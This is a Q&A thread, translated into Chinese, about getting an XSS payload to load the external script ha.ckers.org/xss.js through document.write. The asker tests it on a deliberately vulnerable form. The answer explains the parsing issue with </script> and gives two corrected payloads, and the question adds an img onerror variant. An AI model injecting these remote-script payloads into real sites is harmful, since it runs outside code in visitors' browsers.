在语法中加载外部JavaScript

时间:2013-07-03 22:15:32

标签: javascript xss

如何使用此语法加载外部.js脚本?:

<script>document.write('<script src=http://ha.ckers.org/xss.js></script>')</script>

对于所有想知道的人,我设置了一个我特意容易受到攻击的测试表格,但我无法启动它,是的,我知道:

<script src=//ha.ckers.org/xss.js></script>

可以很容易地工作,但我只想弄清楚如何使用document.write来做到这一点。

感谢能够帮助我的任何人。 //编辑 为什么这不起作用? <img src=x onerror=document.write('<script src="http://ha.ckers.org/xss.js"><\/script>')>

1 个答案:

答案 0 :(得分:0)

您必须记住,<script>....</script>标记中的内容是不透明到浏览器。它的工作是,在看到<script>后,收集所有内容而不进行解析,直到它看到</script>,然后将该中间文本发送到JavaScript引擎。

在您的情况下,它在<script></script>之间看到的是:

document.write('<script src=http://ha.ckers.org/xss.js>

...这显然会导致语法错误。那是因为第一个 </script>终止第一个 <script>

<script>document.write('<script src=http://ha.ckers.org/xss.js></script>')</script>
<!-- Browser thinks things end here ---------------------------^ -->

你必须将其分解,因此它不是文字序列</script>。有很多方法可以做到这一点。添加\

<script>document.write('<script src=http://ha.ckers.org/xss.js><\/script>')</script>

或打破字符串:

<script>document.write('<script src=http://ha.ckers.org/xss.js></scr' + 'ipt>')</script>